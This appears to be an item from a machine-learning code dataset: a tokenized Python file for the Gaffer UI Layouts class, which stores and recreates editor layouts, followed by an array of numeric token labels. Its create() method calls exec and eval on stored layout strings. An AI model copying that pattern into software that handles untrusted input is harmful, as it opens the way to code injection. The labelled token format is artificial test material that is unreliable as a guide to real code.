"\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "writt", "en", " ", "permissi", "on", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "THIS", " ", "SOFT", "WARE", " ", "IS", " ", "PROVI", "DED", " ", "BY", " ", "THE", " ", "COPY", "RIG", "HT", " ", "HOLD", "ERS", " ", "AND", " ", "CONTRIB", "UTO", "RS", " ", "\"", "AS_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "IS", "\"", " ", "AND", " ", "ANY", " ", "EXPR", "ESS", " ", "OR", " ", "IMPL", "IED", " ", "WAR", "RAN", "TIES", ",", " ", "INC", "LU", "DING", ",", " ", "BUT", " ", "NOT", " ", "LIMIT", "ED", " ", "TO", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "THE", " ", "IMPL", "IED", " ", "WAR", "RAN", "TIES", " ", "OF", " ", "MER", "CHAN", "TAB", "ILI", "TY", " ", "AND", " ", "FIT", "NESS", " ", "FOR", " ", "A", " ", "PARTI", "CUL", "AR_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "PUR", "POS", "E", " ", "ARE", " ", "DISC", "LAI", "MED", ".", " ", "IN", " ", "NO", " ", "EVENT", " ", "SHA", "LL", " ", "THE", " ", "COPY", "RIG", "HT", " ", "OWNER", " ", "OR_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "CONTRIB", "UTO", "RS", " ", "BE", " ", "LI", "AB", "LE", " ", "FOR", " ", "ANY", " ", "DIRECT", ",", " ", "INDI", "RECT", ",", " ", "INC", "IDENT", "AL", ",", " ", "SPECIAL", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "EXE", "MPL", "ARY", ",", " ", "OR", " ", "CONS", "EQU", "ENTI", "AL", " ", "DA", "MAGE", "S", " ", "(", "INC", "LU", "DING", ",", " ", "BUT", " ", "NOT", " ", "LIMIT", "ED", " ", "TO", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "PROC", "URE", "MENT", " ", "OF", " ", "SUBST", "ITU", "TE", " ", "GOOD", "S", " ", "OR", " ", "SERVICES", ";", " ", "LOSS", " ", "OF", " ", "USE", ",", " ", "DATA", ",", " ", "OR_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "PROF", "IT", "S", ";", " ", "OR", " ", "BUS", "INE", "SS", " ", "INTER", "RU", "PTION", ")", " ", "HO", "WE", "VER", " ", "CAU", "SED", " ", "AND", " ", "ON", " ", "ANY", " ", "THE", "ORY", " ", "OF_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "LI", "ABI", "LIT", "Y", ",", " ", "WHE", "THER", " ", "IN", " ", "CONTR", "ACT", ",", " ", "STRI", "CT", " ", "LI", "ABI", "LIT", "Y", ",", " ", "OR", " ", "TOR", "T", " ", "(", "INC", "LU", "DING", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "NEG", "LIG", "ENCE", " ", "OR", " ", "OTHER", "WI", "SE", ")", " ", "ARI", "SIN", "G", " ", "IN", " ", "ANY", " ", "WAY", " ", "OUT", " ", "OF", " ", "THE", " ", "USE", " ", "OF", " ", "THIS", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "SOFT", "WARE", ",", " ", "EVE", "N", " ", "IF", " ", "ADV", "ISE", "D", " ", "OF", " ", "THE", " ", "POS", "SIB", "ILI", "TY", " ", "OF", " ", "SUC", "H", " ", "DA", "MAGE", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "######", "##", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "re_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "Ga", "ffer", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "Ga", "ffer", "UI_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "The", " ", "Lay", "outs", " ", "class", " ", "provide", "s", " ", "a", " ", "registr", "y", " ", "of", " ", "named", " ", "layouts", " ", "for", " ", "use_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "in", " ", "the", " ", "Script", "Window", ".", " ", "To", " ", "allow", " ", "different", " ", "ga", "ffer", " ", "applica", "tion", "s", " ", "to_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "coe", "xist", " ", "happ", "il", "y", " ", "in", " ", "the", " ", "same", " ", "process", " ", "(", "for", " ", "instance", " ", "to", " ", "run", " ", "both_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "an", " ", "asset", " ", "manage", "ment", " ", "app", " ", "and", " ", "a", " ", "shad", "ing", " ", "app", " ", "insi", "de", " ", "maya", "),", " ", "separate", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "sets", " ", "of", " ", "layouts", " ", "are", " ", "maintain", "ed", " ", "on", " ", "a", " ", "per", "-", "applica", "tion", " ", "basi", "s", ".", " ", "Access_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "to", " ", "the", " ", "layouts", " ", "for", " ", "a", " ", "specific", " ", "applica", "tion", " ", "is", " ", "provided", " ", "by", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Lay", "outs", ".", "acquir", "e", "()", " ", "method", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Lay", "outs_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "Typical", "ly", " ", "acquir", "e", "()", " ", "shou", "ld", " ", "be", " ", "used", " ", "in", " ", "preference_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "to", " ", "this", " ", "construct", "or", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "Acquire", "s", " ", "the", " ", "set", " ", "of", " ", "layouts", " ", "for", " ", "the", " ", "specified", " ", "applica", "tion", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "Seriali", "ses", " ", "the", " ", "pass", "ed", " ", "Edit", "or", " ", "and", " ", "store", "s", " ", "it", " ", "usi", "ng", " ", "the", " ", "give", "n", " ", "name", ".", " ", "Thi", "s_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "layout", " ", "can", " ", "then", " ", "be", " ", "recreate", "d", " ", "usi", "ng", " ", "the", " ", "create", "()", " ", "method", " ", "belo", "w", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "Remove", "s", " ", "a", " ", "layout", " ", "previ", "ously", " ", "store", "d", " ", "with", " ", "add", "()", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "Return", "s", " ", "a", " ", "list", " ", "of", " ", "the", " ", "names", " ", "of", " ", "currentl", "y", " ", "defin", "ed", " ", "layouts", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "Rec", "reate", "s", " ", "a", " ", "previ", "ously", " ", "store", "d", " ", "layout", " ", "for", " ", "the", " ", "specified", " ", "script", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "return", "ing", " ", "it", " ", "in", " ", "the", " ", "form", " ", "of", " ", "a", " ", "Compo", "und", "Edit", "or", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "Save", "s", " ", "all", " ", "layouts", " ", "who", "se", " ", "name", " ", "matche", "s", " ", "the", " ", "option", "al", " ", "regular", " ", "express", "ion", " ", "int", "o", " ", "the", " ", "file", " ", "object_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "specified", ".", " ", "If", " ", "the", " ", "file", " ", "is", " ", "late", "r", " ", "evaluate", "d", " ", "dur", "ing", " ", "applica", "tion", " ", "start", "up", ",", " ", "it", " ", "will", " ", "rer", "egi", "ster_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "the", " ", "layouts", " ", "with", " ", "the", " ", "applica", "tion", "._", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "\\\\", "todo", " ", "Remove", " ", "this", " ", "method", " ", "and", " ", "follow", " ", "the", " ", "model", " ", "in", " ", "Bookmark", "s", ".", "py", ",", " ", "where", " ", "user", " ", "bookmarks_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "are", " ", "saved", " ", "automati", "call", "y", ".", " ", "Thi", "s", " ", "was", "n", "'", "t", " ", "possib", "le", " ", "whe", "n", " ", "Lay", "outs", ".", "py", " ", "was", " ", "first", " ", "introduce", "d", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "bec", "aus", "e", " ", "at", " ", "tha", "t", " ", "point", " ", "in", " ", "time", ",", " ", "the", " ", "Lay", "outs", " ", "class", " ", "did", "n", "'", "t", " ", "have", " ", "access", " ", "to", " ", "an", " ", "applica", "tion", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "The", " ", "Edit", "or", "Wid", "get", " ", "factor", "y", " ", "provide", "s", " ", "access", " ", "to", " ", "every", " ", "single", " ", "register", "ed", " ", "subclass", " ", "of_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "editor", ",", " ", "but", " ", "specific", " ", "applica", "tion", "s", " ", "may", " ", "wish", " ", "to", " ", "only", " ", "provide", " ", "a", " ", "subse", "t", " ", "of", " ", "tho", "se_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "editors", " ", "to", " ", "the", " ", "user", ".", " ", "Thi", "s", " ", "method", " ", "is", " ", "used", " ", "from", " ", "config", " ", "files", " ", "to", " ", "defin", "e", " ", "the", " ", "subset_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "of", " ", "editors", " ", "to", " ", "use", " ", "in", " ", "the", " ", "applica", "tion", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "Der", "egi", "ster", "s", " ", "a", " ", "previ", "ously", " ", "register", "ed", " ", "editor", ",", " ", "this", " ", "make", "s", " ", "it", " ", "unava", "ilab", "le", " ", "to", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "user", " ", "whe", "n", " ", "creati", "ng", " ", "new", " ", "layouts", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "Return", "s", " ", "the", " ", "names", " ", "of", " ", "all", " ", "currentl", "y", " ", "register", "ed", " ", "editors", "._", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Lay", "outs_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "Typical", "ly", " ", "acquir", "e", "()", " ", "shou", "ld", " ", "be", " ", "used", " ", "in", " ", "preference_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "to", " ", "this", " ", "construct", "or", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "self_", "._", "\\u\\u", "named", "Lay", "outs_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u\\u", "register", "ed", "Edit", "ors_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Lay", "outs_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "Typical", "ly", " ", "acquir", "e", "()", " ", "shou", "ld", " ", "be", " ", "used", " ", "in", " ", "preference_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "to", " ", "this", " ", "construct", "or", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "acquire_", "(_", "cls_", ",_", "applica", "tion", "Or", "Applica", "tion", "Root_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "if_", "isinstance_", "(_", "applica", "tion", "Or", "Applica", "tion", "Root_", ",_", "Ga", "ffer", "_", "._", "Application_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "applica", "tion", "Root_", "=_", "applica", "tion", "Or", "Applica", "tion", "Root_", "._", "root_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "assert_", "(_", "isinstance_", "(_", "applica", "tion", "Or", "Applica", "tion", "Root_", ",_", "Ga", "ffer", "_", "._", "Applica", "tion", "Root_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "applica", "tion", "Root_", "=_", "applica", "tion", "Or", "Applica", "tion", "Root_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "return_", "applica", "tion", "Root_", "._", "\\u\\u", "layouts", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Attribute", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "applica", "tion", "Root_", "._", "\\u\\u", "layouts", "_", "=_", "Lay", "outs_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "applica", "tion", "Root_", "._", "\\u\\u", "layouts", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Lay", "outs_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "Typical", "ly", " ", "acquir", "e", "()", " ", "shou", "ld", " ", "be", " ", "used", " ", "in", " ", "preference_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "to", " ", "this", " ", "construct", "or", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "add_", "(_", "self_", ",_", "name_", ",_", "editor_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "if_", "not_", "isinstance_", "(_", "editor_", ",_", "basestring_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "editor_", "=_", "repr_", "(_", "editor_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "\\u\\u", "named", "Lay", "outs_", "[_", "name_", "]_", "=_", "editor_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Lay", "outs_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "Typical", "ly", " ", "acquir", "e", "()", " ", "shou", "ld", " ", "be", " ", "used", " ", "in", " ", "preference_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "to", " ", "this", " ", "construct", "or", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "remove_", "(_", "self_", ",_", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "del_", "self_", "._", "\\u\\u", "named", "Lay", "outs_", "[_", "name_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Lay", "outs_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "Typical", "ly", " ", "acquir", "e", "()", " ", "shou", "ld", " ", "be", " ", "used", " ", "in", " ", "preference_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "to", " ", "this", " ", "construct", "or", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "names_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "return_", "self_", "._", "\\u\\u", "named", "Lay", "outs_", "._", "keys_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Lay", "outs_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "Typical", "ly", " ", "acquir", "e", "()", " ", "shou", "ld", " ", "be", " ", "used", " ", "in", " ", "preference_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "to", " ", "this", " ", "construct", "or", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "create_", "(_", "self_", ",_", "name_", ",_", "script", "Node_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "layout_", "=_", "self_", "._", "\\u\\u", "named", "Lay", "outs_", "[_", "name_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "first", " ", "try", " ", "to", " ", "import", " ", "the", " ", "module", "s", " ", "the", " ", "layout", " ", "need", "s_", "\\u\\u\\uNL\\u\\u\\u_", "context", "Dict_", "=_", "{_", "\"", "script", "Node", "\"_", ":_", "script", "Node_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "imported_", "=_", "set_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "class", "Name", "Regex_", "=_", "re_", "._", "compile_", "(_", "\"[", "a", "-", "z", "A", "-", "Z", "]*", "Ga", "ffer", "[", "^", "(", ",]", "*\\\\", "(\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "class", "Name_", "in_", "class", "Name", "Regex_", "._", "findall_", "(_", "layout_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "module", "Name_", "=_", "class", "Name_", "._", "partition_", "(_", "\".\"_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "module", "Name_", "not_", "in_", "imported_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "exec_", "(_", "\"", "import", " ", "%", "s", "\"_", "%_", "module", "Name_", ",_", "context", "Dict_", ",_", "context", "Dict_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "imported_", "._", "add_", "(_", "module", "Name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "eval_", "(_", "layout_", ",_", "context", "Dict_", ",_", "context", "Dict_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Lay", "outs_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "Typical", "ly", " ", "acquir", "e", "()", " ", "shou", "ld", " ", "be", " ", "used", " ", "in", " ", "preference_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "to", " ", "this", " ", "construct", "or", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "save_", "(_", "self_", ",_", "file", "Object_", ",_", "name", "Regex_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "decide", " ", "what", " ", "to", " ", "write_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "names", "To", "Write_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "name_", "in_", "self_", "._", "names_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "if_", "name", "Regex_", "._", "match_", "(_", "name_", ")_", "or_", "name", "Regex_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "names", "To", "Write_", "._", "append_", "(_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "write", " ", "the", " ", "necessar", "y", " ", "import", " ", "statem", "ent", " ", "and", " ", "acquir", "e", " ", "the", " ", "layouts", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "file", "Object_", "._", "write_", "(_", "\"", "import", " ", "Ga", "ffer", "UI", "\\\\", "n", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "file", "Object_", "._", "write_", "(_", "\"", "layouts", " ", "=", " ", "Ga", "ffer", "UI", ".", "Lay", "outs", ".", "acquir", "e", "(", " ", "applica", "tion", " ", ")\\\\", "n", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "final", "ly", " ", "write", " ", "out", " ", "the", " ", "layouts", "_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "name_", "in_", "names", "To", "Write_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "file", "Object_", "._", "write_", "(_", "\"", "layouts", ".", "add", "(", " ", "\\\\\"", "%", "s", "\\\\\",", " ", "\\\\\"", "%", "s", "\\\\\"", " ", ")\\\\", "n", "\\\\", "n", "\"_", "%_", "(_", "name_", ",_", "self_", "._", "\\u\\u", "named", "Lay", "outs_", "[_", "name_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "tidy", " ", "up", " ", "by", " ", "delet", "ing", " ", "the", " ", "temporar", "y", " ", "variab", "le", ",", " ", "keep", "ing", " ", "the", " ", "namespace", " ", "clean", " ", "for_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "subsequen", "tl", "y", " ", "executed", " ", "config", " ", "files", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "file", "Object_", "._", "write_", "(_", "\"", "del", " ", "layouts", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Lay", "outs_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "Typical", "ly", " ", "acquir", "e", "()", " ", "shou", "ld", " ", "be", " ", "used", " ", "in", " ", "preference_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "to", " ", "this", " ", "construct", "or", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "register", "Editor_", "(_", "self_", ",_", "editor", "Name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "if_", "editor", "Name_", "not_", "in_", "self_", "._", "\\u\\u", "register", "ed", "Edit", "ors_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "self_", "._", "\\u\\u", "register", "ed", "Edit", "ors_", "._", "append_", "(_", "editor", "Name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Lay", "outs_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "Typical", "ly", " ", "acquir", "e", "()", " ", "shou", "ld", " ", "be", " ", "used", " ", "in", " ", "preference_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "to", " ", "this", " ", "construct", "or", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "dere", "gister", "Editor_", "(_", "self_", ",_", "editor", "Name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "self_", "._", "\\u\\u", "register", "ed", "Edit", "ors_", "._", "remove_", "(_", "editor", "Name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Lay", "outs_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "Typical", "ly", " ", "acquir", "e", "()", " ", "shou", "ld", " ", "be", " ", "used", " ", "in", " ", "preference_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "to", " ", "this", " ", "construct", "or", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "register", "ed", "Edit", "ors_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "return_", "self_", "._", "\\u\\u", "register", "ed", "Edit", "ors_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
